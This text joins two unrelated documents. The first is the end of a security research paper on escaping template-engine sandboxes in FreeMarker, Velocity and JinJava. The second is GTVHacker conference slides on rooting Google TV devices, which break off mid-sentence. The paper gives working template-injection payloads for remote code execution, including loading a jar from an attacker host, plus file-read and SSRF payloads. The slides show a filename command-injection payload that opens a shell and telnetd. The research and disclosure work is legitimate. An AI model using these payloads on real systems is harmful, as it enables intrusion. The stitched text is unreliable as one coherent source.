java.lang.reflect.Field.setLong(java.lang.Object,long) java.lang.reflect.Field.setShort(java.lang.Object,short) java.lang.reflect.AccessibleObject.setAccessible([Ljava.lang.reflect.Accessibl eObject;,boolean) java.lang.reflect.AccessibleObject.setAccessible(boolean) … [Code Ref #6] The most notorious miss is that ​java.lang.ClassLoader methods are not included. Therefore, the only protection against ClassLoader-based attacks is to block the java.lang.Class.getClassLoader() method, which as we saw previously is insufficient because there are other ways to grab an instance of a ClassLoader. The second most obvious miss is that ​java.lang.reflect.Field setters are blocked, but not the getters. Since ​java.lang.Class.getFields() is not blocked, there is nothing to prevent us from accessing public fields. Instance fields are interesting but they require us to first get an instance of a given class. However, we can access static fields without issue. RCE via ClassLoader access As we saw when we reviewed the blocklist, few java.lang.Class methods are blocked, and specifically getProtectionDomain is not. We can abuse this gap to get an instance of a ClassLoader and initiate a ClassLoader-based attack. As we saw in previous sections, the attack guarantees arbitrary file read and can escalate to RCE when the returned ClassLoader is an instance of a Web Application ClassLoader. ${object.getClass().getProtectionDomain().getClassLoader()} Access to ClassLoader methods and ProtectionDomain was blocked as part of the 2.30 release. RCE via URLClassLoader An interesting case of ClassLoader attack is where the accessed ClassLoader is an instance, or extends, java.net.URLClassLoader​. As we saw in the ClassLoader section, that enabled us to load attacker-controlled classes. However, not being able to instantiate them, the only remaining vector to get RCE is through the Class static initializer. To execute this code, we need to initialize the class by, for example, instantiating the class or calling a static method. Since these two vectors are blocked by the sandbox, we need to find a different approach. The solution is to access a static field that is allowed by the blocklist. To accomplish this, we need to prepare and host a malicious JAR file that contains a Class with our payload in the static initialization block and an arbitrary static field: The final payload would look like: <#assign urlClassloader=car.class.protectionDomain.classLoader> <#assign urls=urlClassloader.getURLs()> <#assign url= URLs[0].toURI().resolve("​https://attack.er/pwn.jar​").toURL()> <#assign pwnClassLoader=loader.newInstance(urls+[url])> <#assign VOID=​pwnClassLoader.loadClass("Pwn").getField("PWN").get(null)​> This vector is now fixed since access to ClassLoader methods is blocked as part of the 2.30 release. Universal RCE The previous vector is useful but still depends on finding an instance of a URLClassLoader. To remove this constraint, we need to find a public static field on a class available in the JDK or FreeMarker library (so it is always available) that contains a method that can give us arbitrary code execution. To find these fields, we use ​CodeQL​, a language that allows us to query the source code as if we were querying a database with SQL. We look for all public static fields whose type contains a method that contains a call to Constructor.newInstace()​ or ​Class.newInstance()​ methods: https://lgtm.com/query/7057188514997185938/ This was just an exploratory query without using dataflow. Since the query returns valid and useful results, we didn't improve it and will leave as an exercise to the reader to improve this query to use dataflow to make sure we control the arguments to the ​newInstance() method and avoid the need for the call to be directly enclosed. In addition, we looked for methods that lead to arbitrary object instantiation. Other RCE-leading vectors could be included in the query as well. As mentioned above, the query provided interesting and valid results: The query returned four different public and static fields of different types extending the BeansWrapper class, which contains a ​newInstance() method that basically wraps the Constructor.newInstance() method. Jackpot! With that we can build our universal (at the time of finding) payload: <#assign classloader=​object​.class.protectionDomain.classLoader> <#assign owc=classloader.loadClass("​freemarker.template.ObjectWrapper​")> <#assign dwf=owc.getField("​DEFAULT_WRAPPER​").get(null)> <#assign ec=classloader.loadClass("​freemarker.template.utility.Execute​")> ${dwf.​newInstance​(ec,null)("<SYSTEM CMD>")} We can instantiate arbitrary types, but we chose ​freemarker.template.utility.Execute to keep the payload self-contained in FreeMarker classes. This was fixed in 2.30 with the introduction of a new sandbox based on ​MemberAccessPolicy​. Default policy that improves the blocklist and forbids access to ClassLoader methods and public fields through reflection. The ​Legacy policy is still vulnerable​. RCE via Servlet objects When using FreeMarker as the view layer of a Servlet application, Servlets objects (request, response, session and servletContext) are exposed as FreeMarker models. According to the ​official documentation​: In both templates, when you refer to user and latestProduct, it will first try to find a variable with that name that was created in the template (like prod; if you master JSP: a page scope attribute). If that fails, it will try to look up an attribute with that name in the HttpServletRequest, and if it is not there then in the HttpSession, and if it still doesn't find it then in the ServletContext. Therefore Session, Request and ServletContext attributes are exposed directly to the Context. Also: FreemarkerServlet also puts 3 hashes into the data-model, by which you can access the attributes of the 3 objects directly. The hash variables are: Request, Session, Application (corresponds to ServletContext). It also exposes another hash named RequestParameters that provides access to the parameters of the HTTP request. By having access to the ServletContext attributes, attackers can access additional interesting objects such as an InstanceManager (Tomcat, Jetty, WildFly) or access the Spring Application Context. Please note that these vectors are still valid even on the latest FreeMarker version (2.30 at the time of this writing). If you are using templates that users can edit, you might want to implement a​ ​WhitelistMemberPolicy​. Velocity Velocity implements its sandbox through the ​SecureUberspector class. Unlike FreeMarker, Velocity uses a class and package-based blocklist. We find this approach to be more effective since it is easier to forget to include individual methods in the method-based blocklist. For example, the whole ​java.lang.reflect ​package is blocked (preventing access to the Reflection API) and all methods from ​java.lang.Class and ​java.lang.ClassLoader are blocked: # ---------------------------------------------------------------------------- # SECURE INTROSPECTOR # ---------------------------------------------------------------------------- # If selected, prohibits methods in certain classes and packages from being # accessed. # ---------------------------------------------------------------------------- introspector.restrict.packages = java.lang.reflect # The two most dangerous classes introspector.restrict.classes​ = ​java.lang.Class introspector.restrict.classes​ = ​java.lang.ClassLoader # Restrict these for extra safety introspector.restrict.classes = java.lang.Compiler introspector.restrict.classes = java.lang.InheritableThreadLocal introspector.restrict.classes = java.lang.Package introspector.restrict.classes = java.lang.Process introspector.restrict.classes = java.lang.Runtime introspector.restrict.classes = java.lang.RuntimePermission introspector.restrict.classes = java.lang.SecurityManager introspector.restrict.classes = java.lang.System introspector.restrict.classes = java.lang.Thread introspector.restrict.classes = java.lang.ThreadGroup introspector.restrict.classes = java.lang.ThreadLocal [Code Ref #7] A flaw and an unexpected feature Even though the blocklist is pretty comprehensive and forbids access to all the Reflection APIs and all ​java.lang.Class and ​java.lang.ClassLoader methods, we found a flaw in its implementation. When the class (and package) is checked against the blocklist, only the class of the current object is considered, not its complete class hierarchy: /** * Method * @param obj * @param methodName * @param args * @param i * @return A Velocity Method. */ public VelMethod getMethod(Object obj, String methodName, Object[] args, Info i) throws Exception { if (obj == null) { return null; } ​Method m = introspector.getMethod(​obj.getClass()​, methodName, args); if (m != null) { return new VelMethodImpl(m); } [Code Ref #8] For a more concise example, let's use the following template on an application running on Tomcat: ${request.servletContext.classLoader.loadClass("CLASS")} When ​UberspectImpl.getMethod() is called to resolve ​loadClass(“CLASS”)​, SecureIntrospector.getMethod() is called with the current object’s class: org.apache.catalina.loader.ParallelWebappClassLoader​. This is the class that is checked against the blocklist, and therefore, since this specific class is not present, the method invocation is allowed, returning an arbitrary ​java.lang.Class​ object. This flaw was reported to Velocity and fixed in version 2.3. To exploit this flaw, we can take advantage of the ClassLoader-based attacks that were presented in previous sections. If the ClassLoader that we access is not an instance of a Web Application ClassLoader, there is still another road we can take. In Java, to invoke a static method given its Class object we need to do something like: cl.loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null) However, Velocity enables a shortcut to provide direct access to static methods from their Class object: /** * Method * @param obj * @param methodName * @param args * @param i * @return A Velocity Method. */ public VelMethod getMethod(Object obj, String methodName, Object[] args, Info i) { ... // ​watch for classes, to allow calling their static methods ​(​VELOCITY-102​) ​else if (cls == Class.class)​ { ​m = introspector.getMethod((Class)obj, methodName, args); if (m != null) { return new VelMethodImpl(m, false, getNeededConverters(m.getGenericParameterTypes(), args)); } } ... } [Code Ref #9] With this feature, we can load the ​com.sun.org.apache.xerces.internal.utils.ObjectFactory class and invoke its newInstance()​ static method to instantiate arbitrary objects​: $request.servletContext.classLoader.loadClass("com.sun.org.apache.xerces.inter nal.utils.ObjectFactory").​newInstance​("javax.script.ScriptEngineManager",null, true) Velocity Tools Velocity offers two "plugin" modules: ● GenericTools​: a set of classes that provide basic infrastructure for using tools in standard Java SE Velocity projects, as well as a set of tools for use in generic Velocity templates. ● VelocityView​: includes all of the ​GenericTools structure and specialized tools for using Velocity in the view layer of web applications (Java EE projects). This includes the VelocityViewServlet or ​VelocityLayoutServlet for processing Velocity template requests, the ​VelocityViewTag for embedding Velocity in JSP and a ​Maven plugin to embed JSP tag libraries in Velocity templates. GenericTools are not enabled by default and must be installed on a tool-by-tool basis. Of all the available tools, three of them stand out: ● ContextTool​: Provides convenient access to Context data and metadata that allows us to list all the objects in the Template Context: #foreach( $key in $context.keys ) $key = $context.get($key) #end We found ContextTool deployed on two of the analyzed CMS applications. In both applications the accessible object was an instance of ​ChainedContext which exposes additional interesting features: ● getRequest()​: ​Returns the current servlet request. ● getServletContext()​: ​Returns the servlet context. ● getSession()​: Returns the current session, if any. ● getVelocityContext()​: ​Returns a reference to the Velocity context ● getVelocityEngine()​: ​Returns a reference to the VelocityEngine. ● ClassTool​: Gives access to the Java Reflection API and allows us to load arbitrary classes: $class.inspect("com.sun.org.apache.xerces.internal.utils.ObjectFactory" ).type By using this Velocity shortcut to invoke static methods, we can easily instantiate arbitrary types and get RCE: $class.inspect("com.sun.org.apache.xerces.internal.utils.ObjectFactory") .type.newInstance("javax.script.ScriptEngineManager",null,true) This tool is rarely installed and was not found on any of the analyzed CMS applications. ● FieldTool​: Provides (easy) access to static fields in a class, such as string constants. We can abuse this similarly to the way we did with FreeMarker. We found this tool installed on one CMS and we were able to get RCE using: #set( $wrapper = $_FieldTool.in("freemarker.template.ObjectWrapper").DEFAULT_WRAPPER) #set( $resolver = $_FieldTool.in("freemarker.core.TemplateClassResolver").UNRESTRICTED_RE SOLVER) #set( $execute_class = $resolver.resolve("freemarker.template.utility.Execute",null,null)) ${$execute_class.exec(["id"])} Interestingly enough, we are using FreeMarker classes for this Velocity payload. This was possible since the application was using Spring Framework which imported FreeMarker as a dependency. VelocityView is normally used when Velocity is used as the View layer of an MVC application. When VelocityView is used the ​HttpServletRequest​, ​HttpSession​, ​ServletContext​, and their attributes are automatically available in the templates. JinJava JinJava uses a very short method-based blocklist: RESTRICTED_METHODS = builder() .add("clone") .add("hashCode") .add("getClass") .add("getDeclaringClass") .add("forName") .add("notify") .add("notifyAll") .add("wait").build(); [Code Ref #10] However, it does a great job of preventing access to ​java.lang.Class instances. It prevents any access to a ​java.lang.Class property or invocation of any methods returning a java.lang.Class​ instance. @Override public Object getValue(ELContext context, Object base, Object property) { Object result = super.getValue(context, base, validatePropertyName(property)); return ​result instanceof Class​ ? null : result; } [Code Ref #11] @Override public Object invoke( ELContext context, Object base, Object method, Class<?>[] paramTypes, Object[] params ) { if (method == null || RESTRICTED_METHODS.contains(method.toString())) { throw new MethodNotFoundException( "Cannot find method '" + method + "' in " + base.getClass() ); } Object result = super.invoke(context, base, method, paramTypes, params); ​if (result instanceof Class)​ { throw new MethodNotFoundException( "Cannot find method '" + method + "' in " + base.getClass() ); } return result; } [Code Ref #12] However, it does not prevent Array or Map accesses returning a ​java.lang.Class instance. Therefore, it is possible to get an instance of ​java.lang.Class if we find a method returning java.lang.Class[]​ or ​Map<?, java.lang.Class>​. JinJava Interpreter JinJava has another vulnerability. It exposes the internal JinJava interpreter through the ​secret ____int3rpr3t3r____​ variable. Having access to the interpreter, we can achieve a lot. For example, we can list all the variables in the template context, which might give us access to undocumented objects. {% for key in ____int3rpr3t3r____.getContext().entrySet().toArray() %} {{key.getKey()}} - {{key.getValue()}} {% endfor %} It also gives access to all filters, functions and tags: {% for k in ____int3rpr3t3r____.getContext(). getAllFunctions().toArray() %} {{k }} {% endfor %} {% for key in ____int3rpr3t3r____.getContext().getAllTags().toArray() %} {{key }} {% endfor %} {% for key in ____int3rpr3t3r____.getContext().getAllFilters().toArray() %} {{key.getName() }} {% endfor %} Functions are particularly interesting since they give us access to java.lang.reflect.Method instances. From a ​Method, we can access arrays of their exception and parameter types: {% for key in ____int3rpr3t3r____.getContext().getAllFunctions().toArray() %} {{{key}} - {{key.getName()}} - {% for exc in key.getMethod().getExceptionTypes() %}{{exc}},{% endfor %} - {% for param in key.getMethod().getParameterTypes() %}{{param}},{% endfor %} {% endfor %} With that, we can finally access ​java.lang.Class​ instances. For example: {% set class = ____int3rpr3t3r____.getContext().getAllFunctions().toArray()[0].getMethod().​ge tParameterTypes​()[0] %} {{ class }} ClassLoader access After we have access to a ​java.lang.Class instance, we can also access a java.lang.ClassLoader instance through its ​ProtectionDomain since direct access from Class.getClassLoader()​ is forbidden. {% set classLoader = class.getProtectionDomain().getClassLoader() %} {{ classLoader }} Arbitrary Classpath Resource Disclosure Using the ​java.lang.Class or ​java.lang.ClassLoader instances we can get access to Classpath resources with: {% set is = class.getResourceAsStream("/Foo.class") %} {% for I in range(999) %} {% set byte = is.read() %} {{ byte }}, {% endfor %} Arbitrary File Disclosure We can finally access arbitrary File System files, by retrieving Classpath resources as a java.net.URL​, and then converting it to an ​java.net.URI because this class contains an static ​resolve() method that allows us to create arbitrary URIs. Now we have a URI pointing to the resource we want to access. We can open a connection and read its content from an input stream: {% set uri = class.getResource("/").toURI() %} {% set url = uri.create("file:///etc/passwd").toURL() %} {% set is = url.openConnection().getInputStream() %} {% for I in range(999) %} {% set byte = is.read() %} {{ byte }}, {% endfor %} Server-Side Request Forgery We can use a different protocol such as ​http​, ​https or ​ftp to establish a network connection and initiate a Server-Side request forgery attack. These issues were fixed in version 2.5.4 (CVE-2020-12668) Pebble The Pebble team is still fixing several bypasses we found for Pebble sandbox. Details will be released on a future date. Conclusions In this paper, we described the basic security design elements of the Template Engines used by CMS applications. We analyzed the implementation of different security controls in products and platforms where users can create or modify templates of dynamic content. Using different techniques, we bypassed the sandboxes and security controls of all the CMS applications under investigation and presented multiple ways to achieve RCE on these systems. We can capture the practical results of our research with the following numbers: ● Thirty new vulnerabilities were found and responsibly reported to the vendors. ● More than twenty different products were affected including: SharePoint, JinJava, Pebble, Apache Velocity, Apache FreeMarker, Alfresco, Crafter CMS, Liferay, Atlassian Confluence, XWiki, dotCMS, Lithium (Khoros), Cascade, HubSpot CMS, Apache OfBiz, Apache Syncope, Netflix Conductor, Netflix Titus, Sonatype Nexus, DropWizard Framework, and Apache Camel. Consumers of the above CMS products should ensure that their patch management is up-to-date to ensure the risk of exploit is reduced. Based on these results, our conclusion is that this is not a problem of design or implementation of a specific product or framework. Proper sandboxing of the user-controlled templates for dynamic content is not a trivial task and requires addressing many high risk areas from a security point of view. We hope our research increases developer awareness of where potential weaknesses in this critical attack surface might exist and help bring these vulnerability classes into the spotlight of the community. We believe this is a stepping stone of research around dynamic content injection and similar problems will arise in other products or frameworks. References ● Alvaro Muñoz: .NET Serialization: Detecting and defending vulnerable endpoints https://speakerdeck.com/pwntester/dot-net-serialization-detecting-and-def ending-vulnerable-endpoints ● Chapter 2: SharePoint Architecture https://docs.microsoft.com/en-us/previous-versions/office/developer/share point-services/bb892189(v=office.12) ● FreeMarker Security Implications https://docs.huihoo.com/freemarker/2.3.22/app_faq.html#faq_template_uploa ding_security ● FreeMarker Special Variable Reference https://freemarker.apache.org/docs/ref_specvar.html ● James Kettle: Server-Side Template Injection https://portswigger.net/research/server-side-template-injection ● Liam Cleary: SharePoint Security and a Web Shell https://www.helloitsliam.com/2015/04/30/sharepoint-security-and-a-web-she ll ● Limited freemarker ssti to arbitrary liql query and manage lithium cms https://blog.mert.ninja/freemarker-ssti-on-lithium-cms/ ● Michał Bentkowski: Server Side Template Injection – on the example of Pebble https://research.securitum.com/server-side-template-injection-on-the-exam ple-of-pebble/ ● Muñoz & Mirosh: A Journey from JNDI Manipulation to Remote Code Execution https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From- JNDI-LDAP-Manipulation-To-RCE.pdf ● Muñoz & Mirosh: Friday the 13th JSON Attacks https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th- JSON-Attacks-wp.pdf ● RCE in Hubspot with EL injection in HubL https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in- hubl.html ● Remote Code Execution using Freemarker sandbox escape https://issues.liferay.com/browse/LPE-14371 ● Ryan Hanson: JFrog Artifactory Insecure Freemarker Template Execution https://github.com/atredispartners/advisories/blob/master/ATREDIS-2019-00 06.md ● Server Control Properties Example https://docs.microsoft.com/en-us/previous-versions/aspnet/4s70936s%28v%3d vs.100%29 ● Shivprasad Koirala: SharePoint Quick Start FAQ https://www.codeproject.com/Articles/31412/SharePoint-Quick-Start-FAQ-Par t-3 https://www.codeproject.com/Articles/31648/SharePoint-Quick-Start-FAQ-Par t-2 https://www.codeproject.com/Articles/32583/SharePoint-Quick-Start-FAQ-Par t-III https://www.codeproject.com/Articles/33222/SharePoint-Quick-Start-FAQ-Par t-4 https://www.codeproject.com/Articles/34664/SharePoint-Quick-Start-FAQ-Par t https://www.codeproject.com/Articles/35557/SharePoint-Quick-Start-FAQ-Par t-Workflows-Workfl ● Soroush Dalili: A Security Review of SharePoint Site Pagesitecture https://www.mdsec.co.uk/2020/03/a-security-review-of-sharepoint-site-page s ● Soroush Dalili: Exploiting Deserialisation in ASP.NET via ViewState https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in -asp-net-via-viewstate ● Step 4: Add your Web Part to the Safe Controls List https://docs.microsoft.com/en-us/previous-versions/office/developer/share point-2007/ms581321(v=office.12) ● Toni Torralba: In-depth Freemarker Template Injection https://ackcent.com/blog/in-depth-freemarker-template-injection/ ● Trevor Seward: Unattended Configuration for SharePoint Server 2016 https://thesharepointfarm.com/2016/03/unattended-configuration-for-sharep oint-server-2016 ● Using FreeMarker with servlets https://freemarker.apache.org/docs/pgui_misc_servlet.html ● Velocity Generic Tools https://velocity.apache.org/tools/devel/generic.html ● Velocity View https://velocity.apache.org/tools/devel/view.html ● Velocity: Add Support for Static Utility Classes https://issues.apache.org/jira/browse/VELOCITY-102 ● Windows SharePoint Services 3.0 - SDK Documentation https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525940(v %3Dvs.90) https://docs.microsoft.com/en-us/previous-versions/office/developer/share point-services/ms774825(v%3Doffice.12) Code References 1. https://referencesource.microsoft.com/#system.web/UI/TemplateControl.cs 2. https://referencesource.microsoft.com/#System.Web/UI/TemplateParser.cs 3. https://referencesource.microsoft.com/#System.Data/fx/src/data/System/Dat a/Common/ObjectStorage.cs 4. https://referencesource.microsoft.com/#System.Web/UI/TemplateControl.cs 5. https://referencesource.microsoft.com/#System.Web/UI/WebControls/ControlP arameter.cs 6. https://github.com/apache/freemarker/blob/2.3-gae/src/main/resources/free marker/ext/beans/unsafeMethods.properties 7. https://raw.githubusercontent.com/apache/velocity-engine/761e3e517a65cf41 8d7220d16bb01627970bbca1/velocity-engine-core/src/main/resources/org/apac he/velocity/runtime/defaults/velocity.properties 8. https://github.com/apache/velocity-engine/blob/2.2/velocity-engine-core/s rc/main/java/org/apache/velocity/util/introspection/UberspectImpl.java 9. https://github.com/apache/velocity-engine/blob/2.2/velocity-engine-core/s rc/main/java/org/apache/velocity/util/introspection/UberspectImpl.java 10. https://github.com/HubSpot/jinjava/blob/jinjava-2.5.3/src/main/java/com/h ubspot/jinjava/el/ext/JinjavaBeanELResolver.java 11. https://github.com/HubSpot/jinjava/blob/jinjava-2.5.3/src/main/java/com/h ubspot/jinjava/el/ext/JinjavaBeanELResolver.java 12. https://github.com/HubSpot/jinjava/blob/jinjava-2.5.3/src/main/java/com/h ubspot/jinjava/el/ext/JinjavaBeanELResolver.java Appendix A:​ ​CMS Analysis Summary A l f r e s c o L i f e r a y C r a f t e r O f b i z K h o r o s d o t C M S C o n f l u e n c e X W i k i C a s c a d e H u b S p o t Template Engines used F F V F F F V V V V J HttpServletRequest ServletContext ClassLoader WebApplication ClassLoader Instance Manager Spring Application Context Tomcat WebResourceRoot (StandardRoot) Struts Action Struts DefaultActionInvocation Struts OgnlValueStack Struts OgnlTool FreeMarker StaticModels Json Deserializers (directly exposed in the context) Velocity FieldTool Velocity ContextTool Velocity View Thread OSGI Bundle Context VelocityWebWorkUtil
pdf
http://gtvhacker.com/pres/dc20.ppt Hacking The Google TV GTVHacker Presented by: Amir “zenofex” Etemadieh, CJ “cj_000” Heres, Tom “tdweng” Dwenger, and Dan “bliss” Rosenberg http://gtvhacker.com/pres/dc20.ppt GTVHacker: The Team GTVHacker  GTVHacker is a group of 6 hackers with individual skill sets who work together to unlock Google TV devices.  Our primary goal is to bypass hardware and software restrictions to allow for unsigned kernels to be loaded and used.  To date the team has released multiple methods for unlocking Google TV devices.  GTVHacker team won $500 bounty for being the first to root the Google TV. http://gtvhacker.com/pres/dc20.ppt Team Members GTVHacker The GTVHacker team officially consists of 6 members: ● AgentHH – First human outfitted with metal legs. ● cj_000 - Destroyer of words ● Gynophage – German rockstar reverse engineer ● [mbm] - known for founding the Open-WRT project and tossing 251 children down a well ● Tdweng – software developer turned super hero. ● Zenofex – ███ ███ █ ████ ██ █████ ██ ██ ██ With special guest: ● Bliss - a vulnerability researcher who takes sick pleasure in exploiting anything with a CPU. He once punched an Android in the face. http://gtvhacker.com/pres/dc20.ppt Google TV: What is it?  Google TV is a platform that bridges the gap between your TV and an Android device.  Platform creates an overlay on television stream and also contains an IR transmitter to transmit to media center devices (cable box, TV, sound system).  Device was originally released without the Android Market available but was eventually updated to include it.  Platform receives Over-the-Air updates automatically from OEM manufacturer.  Platform contains forked version of Chrome with all plug-ins and extensions other than Flash disabled. GTVHacker http://gtvhacker.com/pres/dc20.ppt Android vs. Google TV Although Google TV runs Android there are differences:  The device has a Chrome browser out of the box which provides a fairly reliable and safe browsing experience  The Gen 1 Google TV platform is currently the only x86 set of Android devices.  Although the platform does have the Android market, the amount of actual applications available is far below that of the actual market.  Due to the fact that some Android applications include native code, some applications are not able to run on the x86 chip-set.  Unlike most Android devices, GTV devices are USB hosts requiring ADB to be used over the network and ADB is restricted to one white- listed IP. GTVHacker http://gtvhacker.com/pres/dc20.ppt x86 vs ARM?  Most commonly deployed boxes are x86  Newest Google TV Devices are ARM based  Devices by Sony, LG and Vizio (Availability is still limited)  More on the ARM devices a bit later! GTVHacker http://gtvhacker.com/pres/dc20.ppt GTV vs Content Providers GTVHacker  From the initial release of the platform, the Google TV has been in a constant battle with the content providers.  Content providers believed giving Google access to television programming advertising streams would strengthen Google's position in web advertising, as well as convince users to drop services like cable.  Websites enforced checks by verifying the browser User-Agent as well as the Flash version string. http://gtvhacker.com/pres/dc20.ppt Platform: x86 Android GTVHacker  There are no other mainstream Android x86 devices.  Architecture differences makes for a crippled marketplace.  Code compiled for device can usually be compiled without the need for compiler toolchain. http://gtvhacker.com/pres/dc20.ppt x86 / Gen 1 CPU GTVHacker  Current generation of Google TV devices use an Intel CE41xx CPU.  45nm Atom core 1.2 Ghz with System-on-Chip (SoC).  “On-die” security processor to handle DRM.  Revue – CE4100  Sony TV / Blu-Ray – CE4150 http://gtvhacker.com/pres/dc20.ppt Bootloader (Gen1) GTVHacker  The bootloader for the CE41xx devices is known as the “Intel CEFDK” (Consumer Electronics Firmware Development kit).  Bootloader is signed and signature is verified by security processor, beginning “chain of trust”.  Intel supplies a stage 1 and stage 2 boot-loader in the SDK.  Logitech uses both stages of CEFDK in its device.  Sony uses Intel's stage 1 and it's own proprietary “NBL” for stage 2. http://gtvhacker.com/pres/dc20.ppt “Chain Of Trust” GTVHacker 1) SoC decrypts and verifies signature of stage 1 CEFDK 2) Stage 1 CEFDK boots, checks signature, and decrypts Stage 2 3) Stage 2 boots and checks signature on Kernel 4) Kernel takes over 5) (Sony) Kernel SHA1 hashchecks init 6) (Sony) Init RSA verifies init.rc / init.(eagle/asura).rc GTV platform utilizes a “Chain of Trust” boot 1 2 3 4 5 6 http://gtvhacker.com/pres/dc20.ppt Kernel Security GTVHacker  Kernel requires modules to be properly signed before being inserted.  All partitions except /data & /cache are marked as RO by the kernel.  ADB shell only allows RW access to folders with “shell” permissions.  Functions like ptrace are left out of the kernel.  Access /dev/mem is restricted.  Kernel is patched from all known public Android vulnerabilities. http://gtvhacker.com/pres/dc20.ppt Current Devices GTVHacker http://gtvhacker.com/pres/dc20.ppt Logitech Revue GTVHacker  Released October 2010  Full sized keyboard with built in touchpad  Originally priced at $249 later reduced to $199 and finally $99  Discontinued but still favoured by a majority of GTV users http://gtvhacker.com/pres/dc20.ppt Logitech Revue Motherboard GTVHacker  UART1 - Console  J3 - PICKIT2  SW1 – Unused switch  J20 – I2C  J69 – USB  SATA1 – SATA Header  J24 – Unknown  J13 – Power for SATA  XDP1 – Intel XDP Debug Header Image via ifixit.com http://gtvhacker.com/pres/dc20.ppt Revue: Recovery GTVHacker Recovery mode is an “Android 2e recovery” which is standard on many Android devices.  Reboot  Apply Update from USB (update.zip)  Wipe data/factory reset  Wipe cache partition All update files provided are RSA verified before the box attempts installation. http://gtvhacker.com/pres/dc20.ppt UART On The Revue GTVHacker  First root on the Google TV Platform.  Required a virgin Revue.  Still works on newly purchased Revues.  Soldering to four pads on the Revue and booting into recovery mode.  Method allowed for Read/Write access to File System. http://gtvhacker.com/pres/dc20.ppt UART On The Revue GTVHacker  Created a manual update process that mirrored Google's but did not perform any of the signature checks.  Continued to release modified updates which included an ADB running as root as well as our first attempt at a content provider bypass. http://gtvhacker.com/pres/dc20.ppt First “Content Provider Bypass” GTVHacker Bypassing Hulu/CBS/NBC/ABC's browser/flash checks was relatively easy and could be done quickly with a hex editor and RW /system access. All that was required was a simple change from: To: Changing one letter in the flash version string as well as changing the browser user agent (which can be done directly from the box in Chrome's settings) will allow a user to watch normally restricted content. http://gtvhacker.com/pres/dc20.ppt Honeycomb Suprises: Message from Logitech? GTVHacker  Logitech removed the recovery menu and replaced it with a message to the GTVHacker team.  Removed functionality to install manual updates therefore removing a user's ability to recover other than via the automatic process of erasing /cache and /data.  The message was encoded in a ROT13 cypher.  Each of the current GTVHacker team members' names were listed as no longer functioning recovery menu items. http://gtvhacker.com/pres/dc20.ppt Honeycomb Suprises: Message from Logitech? GTVHacker “A @gtvhackers congratulations if your reading this please post a note on your forum to let me know ;)” http://gtvhacker.com/pres/dc20.ppt Flash Sabotage: Revue GTVHacker Getting a secret message from Logitech was awesome. Having them remove the recovery menu functionality was not. So we needed a way to play with the update functionality of the box... The OTA updater writes to /cache/recovery/command, which uses the following syntax: --update_package=CACHE:/somefile.zip Now if only we had a way to write to cache... http://gtvhacker.com/pres/dc20.ppt Flash Sabotage: Revue GTVHacker ● /cache and /chrome are EXT3 partitions stored on NAND flash. ● Luckily, that flash is connected to the Revue via a USB Controller. ● It's a flash drive! ● We can tap the data lines and stick our own flash drive in line. http://gtvhacker.com/pres/dc20.ppt Revue Kernel Exploit GTVHacker Revue root kernel exploit To be added http://gtvhacker.com/pres/dc20.ppt Revue Module Signing Exploit GTVHacker Revue RSA kernel module signing bypass To be added http://gtvhacker.com/pres/dc20.ppt Sony Devices (Gen1) GTVHacker GTV hardware is nearly identical, other than the obvious differences. Blu-Ray Player (NSZ-GT1) Television 24” - 46” (NSX-#GT1) http://gtvhacker.com/pres/dc20.ppt NSZ-GT1: Motherboard GTVHacker  Bulkier than the Revue.  Built like a Sony.  Populated debug pads!  Contains a faster processor – CE4150 @ ~1.7GHz. http://gtvhacker.com/pres/dc20.ppt SATA Sabotage: Sony GTVHacker  Internal SSD via SATA  GBDriver RS2 AES encrypts all data on NAND flash.  ATA Password  Sony stored all data on SSD, except bootloader and kernel.  Risky procedure. Small points.  Able to “redirect” SATA bus to our own device, which we had RW access to externally.  Used this to downgrade to old SW versions, to look for flaws. http://gtvhacker.com/pres/dc20.ppt Sony GTV: Recovery GTVHacker  Far more interesting than that of the Revue.  Like the Revue, has a similar “Update from USB” feature.  Nearly entire backend is done through a series of scripts. Not standard Android, so no debug log is left behind. Though not impossible thanks to the UART.  Sony updates are RC4 encrypted. http://gtvhacker.com/pres/dc20.ppt Sony Google TV Command Execution Through Recovery Can you spot the problem here? ls /tmp/mnt/diskb1/package_list_*.zip | head -1 | grep "package_list_" /bin/sony/check_version.sh $1 GTVHacker http://gtvhacker.com/pres/dc20.ppt Sony Google TV Command Execution Through Recovery GTVHacker http://gtvhacker.com/pres/dc20.ppt Sony Google TV Command Execution Through Recovery GTVHacker The exploit was simple, a package with a command: package_list_;cd tmp; cd mnt; cd diskb1; sh t.sh; .zip /package-updater.sh -l 0 -p /tmp/mnt/diskb1/package_list_;cd /tmp;cd /mnt;cd /diskb1;sh t.sh;.zip The command above involved a t.sh bash script (to meet filename size limitations) which spawned a shell over UART and telnetd. From there we proceeded to dump the recovery file system. http://gtvhacker.com/pres/dc20.ppt Sony Google TV Command Execution Through Recovery Unfortunately this exploit was patched in the 7/2011 update. “It's not exactly what we'd call a easy jailbreak, seeing as how it requires a soldering iron, a NAND format procedure, and a Logitech Revue that's never even been powered on, but it looks like it is possible to root a Google TV box after all.” - engadget.com That was said about 4 large pads for the Revue. Needless to say, this was not a viable option for the public. GTVHacker http://gtvhacker.com/pres/dc20.ppt Sony Google TV UART ● Active UART line (output only) ● After initial hack - achieved root console in Linux. ● Memory dump shows existence of “NBL” - an extra step after Intel's initial bootloader. ● Mashing escape over UART at start-up brings us to a “Password:” ● Password found after reversing NBL areas of memory: console_ON console_ON GTVHacker http://gtvhacker.com/pres/dc20.ppt Sony Google TV UART / Bootloader ● NBL options included loading files into memory, and executing from internal flash or network via TFTP. ● Insecure booting features were disabled on production units. ● NBL Utilized signature and hash checks similar to the normal start-up mode. Remember that exploitable recovery version? GTVHacker http://gtvhacker.com/pres/dc20.ppt Sony Google TV UART / Bootloader GTVHacker http://gtvhacker.com/pres/dc20.ppt Sony Google TV UART / Bootloader Booting via TFTP allowed us to set kernel args. boot -f net:tftp:/vmlinux_recovery.trf -c "root=/dev/ram0 console=ttyS0,115200" -initrd net:tftp:/initrd.trf Booting via TFTP however kept the internal SSD ATA locked. The good news was that when that recovery booted to a locked ATA, the box dropped us into a console! GTVHacker http://gtvhacker.com/pres/dc20.ppt Sony Google TV UART / Bootloader Exploitable Recovery: ● System boot binaries stored on flash at /dev/Glob_Spectraa2 ● ATA was locked, 